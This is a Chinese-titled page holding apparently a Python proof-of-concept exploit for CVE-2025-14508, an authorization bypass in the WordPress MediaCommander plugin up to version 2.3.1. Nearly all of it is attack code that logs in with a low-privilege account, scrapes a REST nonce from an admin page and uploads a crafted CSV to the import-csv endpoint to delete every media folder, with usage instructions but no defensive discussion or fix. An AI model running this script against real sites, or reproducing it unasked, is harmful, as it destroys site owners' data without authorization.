CVE-2025-14508 WordPress MediaCommander插件权限绕过导致任意文件夹删除

import requests import sys # CVE-2025-14508 PoC - MediaCommander import-csv Authorization Bypass # Target: WordPress site with MediaCommander plugin <= 2.3.1 def exploit(target_url, username, password): """Exploit MediaCommander CVE-2025-14508""" # Step 1: Authenticate and get WordPress nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, timeout=30) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Get REST API nonce from admin page admin_url = f"{target_url}/wp-admin/admin.php?page=mediacommander_import" resp = session.get(admin_url, timeout=30) # Extract nonce from page source import re nonce_match = re.search(r'nonce":"([a-z0-9]+)"', resp.text) if not nonce_match: print("[-] Could not find nonce") return False nonce = nonce_match.group(1) print(f"[+] Found nonce: {nonce}") # Step 3: Send malicious import-csv request to delete all folders api_url = f"{target_url}/wp-json/mediacommander/v1/import-csv" # Malicious CSV content to trigger mass folder deletion malicious_csv = "folder_id,action\nall,delete\n" files = { 'file': ('delete_folders.csv', malicious_csv, 'text/csv') } data = { '_wpnonce': nonce } resp = session.post(api_url, files=files, data=data, timeout=30) if resp.status_code == 200: print("[+] Exploit successful - All folders deleted!") return True else: print(f"[-] Exploit failed with status: {resp.status_code}") print(f"Response: {resp.text}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com author_user password123") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])